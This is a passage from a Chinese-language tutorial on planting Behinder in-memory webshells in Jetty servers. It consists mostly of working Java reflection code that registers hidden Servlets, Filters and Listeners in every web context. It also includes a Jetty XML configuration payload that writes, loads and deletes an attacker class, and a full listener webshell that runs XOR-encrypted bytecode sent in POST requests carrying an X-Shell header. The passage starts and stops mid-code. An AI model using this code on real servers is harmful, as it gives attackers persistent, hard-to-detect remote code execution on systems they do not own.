Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
f_appMap.setAccessible(true);
HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);
List contexts = new ArrayList();
for (Object value : app.values()) {
Field f_context = value.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
WebAppContext context = (WebAppContext) f_context.get(value);
if (context != null) {
contexts.add(context);
}
}
return contexts;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
编译字节码,打印一下获取的Context
,组合成Payload查看一下,确实获取到了相关的Context
:
Servlet内存马
添加Servlet
从上面不难看出ServletContext
的继承类就是WebAppContext
,而这个已经被我们拿到了,接下来看下是如何去动态添加Servlet
的,从ServletContext
可以看到addServlet
有三个实现:
排除JspCServletContext
和StaticContext
,那么就剩下第一个了:
public ServletRegistration.Dynamic addServlet(String servletName, String className) {
this.checkDynamic(servletName);
ServletHandler handler = ServletContextHandler.this.getServletHandler();
ServletHolder holder = handler.getServlet(servletName);
if (holder == null) {
holder = handler.newServletHolder(Source.JAVAX_API);
holder.setName(servletName);
holder.setClassName(className);
handler.addServlet(holder);
return ServletContextHandler.this.dynamicHolderAdded(holder);
} else if (holder.getClassName() == null && holder.getHeldClass() == null) {
holder.setClassName(className);
return holder.getRegistration();
} else {
return null;
}
}
但是这个实际上是ServletContextHandler
的内部类Context
,在上面的代码其实可以看到核心的两句代码是:
ServletHandler handler = ServletContextHandler.this.getServletHandler();
handler.addServlet(holder);
因此想要动态添加实际上就变成了构造ServletHolder
然后调用handler.addServlet
,而ServletContextHandler.this.getServletHandler()
实际是:
public ServletHandler getServletHandler() {
if (this._servletHandler == null && !this.isStarted()) {
this._servletHandler = this.newServletHandler();
}
return this._servletHandler;
}
因此实际上获取到了ServletContextHandler
的_servletHandler
属性就可以去动态添加Servlet
:
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
ServletContext context = (ServletContext) req.getServletContext();
Field fthis$0 = context.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object appContext = fthis$0.get(context);
Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(appContext);
resp.getWriter().println("Get context done " + context.getClass());
resp.getWriter().println("Get Servlet handler done " + handler.getClass());
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));
resp.getWriter().println("Holder construct done " + holder);
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellServlet");
setClassName.invoke(holder, "com.test.servlet.MemShellServlet");
Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());
addServlet.invoke(handler, holder);
resp.getWriter().println("Servlet added");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
之所以用
handler.getClass().getClassLoader().loadClass
是因为直接引用时报NoClassDefFound
异常,目前还没分析出现该问题的原因,但是使用反射直接加载类时可以的。
成功添加:
Servlet路由映射
接下来考虑如何添加Servlet的路由映射,还是从接口方法找实现,同样只有一个,直接进入到具体方法(ServletHolder
):
public Set<String> addMapping(String... urlPatterns) {
ServletHolder.this.illegalStateIfContextStarted();
Set<String> clash = null;
String[] var3 = urlPatterns;
int var4 = urlPatterns.length;
for(int var5 = 0; var5 < var4; ++var5) {
String pattern = var3[var5];
ServletMapping mapping = ServletHolder.this.getServletHandler().getServletMapping(pattern);
if (mapping != null && !mapping.isDefault()) {
if (clash == null) {
clash = new HashSet();
}
clash.add(pattern);
}
}
if (clash != null) {
return clash;
} else {
ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);
mappingx.setServletName(ServletHolder.this.getName());
mappingx.setPathSpecs(urlPatterns);
ServletHolder.this.getServletHandler().addServletMapping(mappingx);
return Collections.emptySet();
}
}
不难看出核心代码实际在最下面的:
ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);
mappingx.setServletName(ServletHolder.this.getName());
mappingx.setPathSpecs(urlPatterns);
ServletHolder.this.getServletHandler().addServletMapping(mappingx);
而这又是ServletHolder
里的,因此与上面的添加Servlet
组合即可:
Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));
Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);
Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);
Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);
setServletName.invoke(mappingx, "MemShellServlet");
setPathSpec.invoke(mappingx, "/mem");
addServletMapping.invoke(handler, mappingx);
resp.getWriter().println("Servlet mapping added");
访问测试:
注入内存马
因为已经可以执行任意代码了,因此还是通过反射直接defineClass
后添加Servlet
:
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] cb = Base64.getDecoder().decode(classbyte);
List contexts = getContext();
for(Object context : contexts) {
defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);
Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(context);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellServlet");
setClassName.invoke(holder, "org.me.MemShellServlet");
Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());
addServlet.invoke(handler, holder);
Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));
Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);
Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);
Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);
setServletName.invoke(mappingx, "MemShellServlet");
setPathSpec.invoke(mappingx, "/mem");
addServletMapping.invoke(handler, mappingx);
}
} catch (Exception e) {
e.printStackTrace();
}
这会对每一个Context都添加内存马 此处获取的是
setPathSpec
,这样不用传字符串数组
成功:
完整利用过程
首先准备好冰蝎的内存马编译,得到Base64的字节码,然后编写静态RCE类添加Servlet:
public class Test {
static List getContext() {
try {
Object thread = Thread.currentThread();
Field fqueue_1 = thread.getClass().getDeclaredField("queue");
fqueue_1.setAccessible(true);
Object queue_1 = fqueue_1.get(thread);
Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");
fqueue_2.setAccessible(true);
Object queue_2 = (Object) fqueue_2.get(queue_1);
Object scanner$1 = Array.get(queue_2, 1);
Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object scanner = fthis$0.get(scanner$1);
Field f_listener = scanner.getClass().getDeclaredField("_listeners");
f_listener.setAccessible(true);
ArrayList listeners = (ArrayList) f_listener.get(scanner);
Object scanningAppProvider = listeners.get(0);
Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");
fthis$0_2.setAccessible(true);
Object webAppProvider = fthis$0_2.get(scanningAppProvider);
Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
f_appMap.setAccessible(true);
HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);
List contexts = new ArrayList();
for (Object value : app.values()) {
Field f_context = value.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
Object context = f_context.get(value);
if (context != null) {
contexts.add(context);
}
}
return contexts;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static String classbyte = "冰蝎Servlet内存马字节码Base64";
static {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] cb = Base64.getDecoder().decode(classbyte);
List contexts = getContext();
for(Object context : contexts) {
defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);
Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(context);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newServletHolder = handler.getClass().getDeclaredMethod("newServletHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newServletHolder.invoke(handler, f_javax_api.get(null));
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellServlet");
setClassName.invoke(holder, "org.me.MemShellServlet");
Method addServlet = handler.getClass().getDeclaredMethod("addServlet", holder.getClass());
addServlet.invoke(handler, holder);
Class servletMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object mappingx = servletMapping.getConstructor(source).newInstance(f_javax_api.get(null));
Method setServletName = mappingx.getClass().getDeclaredMethod("setServletName", String.class);
Method setPathSpec = mappingx.getClass().getDeclaredMethod("setPathSpec", String.class);
Method addServletMapping = handler.getClass().getDeclaredMethod("addServletMapping", servletMapping);
setServletName.invoke(mappingx, "MemShellServlet");
setPathSpec.invoke(mappingx, "/mem");
addServletMapping.invoke(handler, mappingx);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译后组合XML RCE的Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/xxx</Set>
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>静态类字节码Base64</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>Test.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>Test</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
<New class="java.io.File">
<Arg>Test.class</Arg>
<Call name="delete"></Call>
</New>
</Configure>
发送即可获取到链接:
Filter内存马
添加Filter
不难发现实际在之前的
ServletContextHandler
中存在addFilter
方法,直接分析。
三个方法其实也大差不差,还是以字符串参数类型的分析:
public FilterRegistration.Dynamic addFilter(String filterName, String className) {
this.checkDynamic(filterName);
ServletHandler handler = ServletContextHandler.this.getServletHandler();
FilterHolder holder = handler.getFilter(filterName);
if (holder == null) {
holder = handler.newFilterHolder(Source.JAVAX_API);
holder.setName(filterName);
holder.setClassName(className);
handler.addFilter(holder);
return holder.getRegistration();
} else if (holder.getClassName() == null && holder.getHeldClass() == null) {
holder.setClassName(className);
return holder.getRegistration();
} else {
return null;
}
}
不难发现其实和添加Servlet
没啥区别,因此稍微改改代码即可:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
ServletContext context = (ServletContext) req.getServletContext();
Field fthis$0 = context.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object appContext = fthis$0.get(context);
Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(appContext);
resp.getWriter().println("Get context done " + context.getClass());
resp.getWriter().println("Get Servlet handler done " + handler.getClass());
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));
resp.getWriter().println("Holder construct done " + holder);
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellFilter");
setClassName.invoke(holder, "com.test.servlet.MemShellFilter");
Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());
addFilter.invoke(handler, holder);
resp.getWriter().println("Filter added");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
成功添加:
Filter路由映射
按照之前的Servlet
分析,不出意外应该在FilterHolder
中:
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterHolder.this.illegalStateIfContextStarted();
FilterMapping mapping = new FilterMapping();
mapping.setFilterHolder(FilterHolder.this);
mapping.setPathSpecs(urlPatterns);
mapping.setDispatcherTypes(dispatcherTypes);
if (isMatchAfter) {
FilterHolder.this.getServletHandler().addFilterMapping(mapping);
} else {
FilterHolder.this.getServletHandler().prependFilterMapping(mapping);
}
}
和Servlet
的还是大差不差,稍微修改即可:
Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object mapping = filterMapping.newInstance();
Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setFilterHodler.setAccessible(true);
setFilterHodler.invoke(mapping, holder);
setPathSpec.invoke(mapping, "/*");
Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);
prependFilterMapping.invoke(handler, mapping);
resp.getWriter().println("Filter mapping added");
这里提供的方法直接可以将
Filter
插入到最前方了,无需自己手动调整顺序。
注入内存马
接下来注入内存马,还是一样的操作:
try {
ServletContext context = (ServletContext) req.getServletContext();
Field fthis$0 = context.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object appContext = fthis$0.get(context);
Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(appContext);
resp.getWriter().println("Get context done " + context.getClass());
resp.getWriter().println("Get Servlet handler done " + handler.getClass());
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));
resp.getWriter().println("Holder construct done " + holder);
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellFilter");
setClassName.invoke(holder, "com.test.servlet.MemShellFilter");
Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());
addFilter.invoke(handler, holder);
resp.getWriter().println("Filter added");
Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object mapping = filterMapping.newInstance();
Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setFilterHodler.setAccessible(true);
setFilterHodler.invoke(mapping, holder);
setPathSpec.invoke(mapping, "/*");
Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);
prependFilterMapping.invoke(handler, mapping);
resp.getWriter().println("Filter mapping added");
} catch (Exception e) {
throw new RuntimeException(e);
}
完整利用过程
静态类添加Filter
:
public class Test {
static List getContext() {
try {
Object thread = Thread.currentThread();
Field fqueue_1 = thread.getClass().getDeclaredField("queue");
fqueue_1.setAccessible(true);
Object queue_1 = fqueue_1.get(thread);
Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");
fqueue_2.setAccessible(true);
Object queue_2 = (Object) fqueue_2.get(queue_1);
Object scanner$1 = Array.get(queue_2, 1);
Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object scanner = fthis$0.get(scanner$1);
Field f_listener = scanner.getClass().getDeclaredField("_listeners");
f_listener.setAccessible(true);
ArrayList listeners = (ArrayList) f_listener.get(scanner);
Object scanningAppProvider = listeners.get(0);
Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");
fthis$0_2.setAccessible(true);
Object webAppProvider = fthis$0_2.get(scanningAppProvider);
Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
f_appMap.setAccessible(true);
HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);
List contexts = new ArrayList();
for (Object value : app.values()) {
Field f_context = value.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
Object context = f_context.get(value);
if (context != null) {
contexts.add(context);
}
}
return contexts;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static String classbyte = "冰蝎Filter内存马字节码Base64";
static {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] cb = Base64.getDecoder().decode(classbyte);
List contexts = getContext();
for(Object context : contexts) {
defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);
Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(context);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newFilterHolder = handler.getClass().getDeclaredMethod("newFilterHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newFilterHolder.invoke(handler, f_javax_api.get(null));
Method setName = holder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
Method setClassName = holder.getClass().getSuperclass().getDeclaredMethod("setClassName", String.class);
setName.invoke(holder, "MemShellFilter");
setClassName.invoke(holder, "org.me.MemShellFilter");
Method addFilter = handler.getClass().getDeclaredMethod("addFilter", holder.getClass());
addFilter.invoke(handler, holder);
Class filterMapping = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object mapping = filterMapping.newInstance();
Method setFilterHodler = mapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
Method setPathSpec = mapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setFilterHodler.setAccessible(true);
setFilterHodler.invoke(mapping, holder);
setPathSpec.invoke(mapping, "/*");
Method prependFilterMapping = handler.getClass().getDeclaredMethod("prependFilterMapping", filterMapping);
prependFilterMapping.invoke(handler, mapping);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
接下来组合:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/xxx</Set>
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>静态类字节码Base64</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>Test.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>Test</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
<New class="java.io.File">
<Arg>Test.class</Arg>
<Call name="delete"></Call>
</New>
</Configure>
连接成功:
Listener内存马
添加Listener
参考之前的,添加Listener的代码还是在ServletContextHandler
中,而且其中之一看起来和之前的逻辑很像:
public <T extends EventListener> void addListener(T t) {
if (!ServletContextHandler.this.isStarting()) {
throw new IllegalStateException();
} else if (!this._enabled) {
throw new UnsupportedOperationException();
} else {
this.checkListener(t.getClass());
ListenerHolder holder = ServletContextHandler.this.getServletHandler().newListenerHolder(Source.JAVAX_API);
holder.setListener(t);
ServletContextHandler.this.addProgrammaticListener(t);
ServletContextHandler.this.getServletHandler().addListener(holder);
if (ServletContextHandler.this._startListeners) {
try {
holder.start();
} catch (Exception var4) {
throw new IllegalStateException(var4);
}
}
}
}
而checkListener
则是判断t
的类型是否为ServletContextListener.class, ServletContextAttributeListener.class, ServletRequestListener.class, ServletRequestAttributeListener.class, HttpSessionIdListener.class, HttpSessionListener.class, HttpSessionAttributeListener.class
或者相关类型的子类,因此可以判断这里就是实际添加Listener
的代码,进行构造:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
ServletContext context = (ServletContext) req.getServletContext();
Field fthis$0 = context.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object appContext = fthis$0.get(context);
Field f_servletHandler = appContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(appContext);
Method addProgrammaticListener = appContext.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));
Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);
Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());
EchoListener listener = new EchoListener();
setListener.invoke(holder, listener);
addProgrammaticListener.setAccessible(true);
addProgrammaticListener.invoke(appContext, listener);
addListener.invoke(handler, holder);
Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");
start.invoke(holder);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
这样就成功地添加了一个Listener
,当访问一个存在的路由时,就会触发该Listener
。
冰蝎内存马改造 - Jetty Listener
由于Jetty的
Listener
和Resin的Listener
获取Response
不太一样,因此需要重新改造一下冰蝎的内存马。
首先搜一下Response
对象的位置:
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Response").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(servletRequestEvent,keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\evalexp\\Desktop\\search_3");
searcher.searchObject();
结果:
TargetObject = {javax.servlet.ServletRequestEvent}
---> request = {org.eclipse.jetty.server.Request}
---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp}
---> _response = {org.eclipse.jetty.server.Response}
因此获取对应的Response
就可以这样:
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
Field f_channel = request.getClass().getDeclaredField("_channel");
f_channel.setAccessible(true);
Object _channel = f_channel.get(request);
Field f_response = _channel.getClass().getSuperclass().getDeclaredField("_response");
f_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) f_response.get(_channel);
拿到Response后,就可以着手改造冰蝎的内存马了,可以直接参照Resin的Listener
内存马,冰蝎内存马如下:
public class MemListener implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field f_channel = request.getClass().getDeclaredField("_channel");
f_channel.setAccessible(true);
Object _channel = f_channel.get(request);
Field f_response = _channel.getClass().getSuperclass().getDeclaredField("_response");
f_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) f_response.get(_channel);
response.reset();
response.resetBuffer();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0 , length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
Field f_session = request.getClass().getDeclaredField("_session");
f_session.setAccessible(true);
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", f_session.get(request));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] byteCode = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
和Resin略有差别的是,此处获取
Response
的路径以及需要调用reset
和resetBuffer
方法重置写入的数据,这样可以在任意存在的Servlet
(无需POST
方法支持)都连接上内存马,无需找到一个可以POST请求的点。
测试连接:
注入内存马
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] cb = Base64.getDecoder().decode(classbyte);
List contexts = getContext();
for(Object context : contexts) {
Class MemListener = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);
Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(context);
Method addProgrammaticListener = context.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);
Field f_javax_api = source.getDeclaredField("JAVAX_API");
f_javax_api.setAccessible(true);
Object holder = newListenerHolder.invoke(handler, f_javax_api.get(null));
Method setListener = holder.getClass().getDeclaredMethod("setListener", EventListener.class);
Method addListener = handler.getClass().getDeclaredMethod("addListener", holder.getClass());
Object listener = MemListener.newInstance();
setListener.invoke(holder, listener);
addProgrammaticListener.setAccessible(true);
addProgrammaticListener.invoke(context, listener);
addListener.invoke(handler, holder);
Method start = holder.getClass().getSuperclass().getSuperclass().getDeclaredMethod("start");
start.invoke(holder);
}
} catch (Exception e) {
e.printStackTrace();
}
连接成功:
完整利用过程
将Jetty&Resin#冰蝎内存马改造 - Jetty Listener的内存马编译,然后转Base64,嵌入下面的代码中:
public class Test {
static List getContext() {
try {
Object thread = Thread.currentThread();
Field fqueue_1 = thread.getClass().getDeclaredField("queue");
fqueue_1.setAccessible(true);
Object queue_1 = fqueue_1.get(thread);
Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");
fqueue_2.setAccessible(true);
Object queue_2 = (Object) fqueue_2.get(queue_1);
Object scanner$1 = Array.get(queue_2, 1);
Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object scanner = fthis$0.get(scanner$1);
Field f_listener = scanner.getClass().getDeclaredField("_listeners");
f_listener.setAccessible(true);
ArrayList listeners = (ArrayList) f_listener.get(scanner);
Object scanningAppProvider = listeners.get(0);
Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");
fthis$0_2.setAccessible(true);
Object webAppProvider = fthis$0_2.get(scanningAppProvider);
Field f_appMap = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
f_appMap.setAccessible(true);
HashMap<String, Object> app = (HashMap) f_appMap.get(webAppProvider);
List contexts = new ArrayList();
for (Object value : app.values()) {
Field f_context = value.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
Object context = f_context.get(value);
if (context != null) {
contexts.add(context);
}
}
return contexts;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static String classbyte = "冰蝎Jetty Listener内存马 Base64";
static {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] cb = Base64.getDecoder().decode(classbyte);
List contexts = getContext();
for(Object context : contexts) {
Class MemListener = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), cb, 0, cb.length);
Field f_servletHandler = context.getClass().getSuperclass().getDeclaredField("_servletHandler");
f_servletHandler.setAccessible(true);
Object handler = f_servletHandler.get(context);
Method addProgrammaticListener = context.getClass().getSuperclass().getSuperclass().getDeclaredMethod("addProgrammaticListener", EventListener.class);
Class source = handler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Method newListenerHolder = handler.getClass().getDeclaredMethod("newListenerHolder", source);
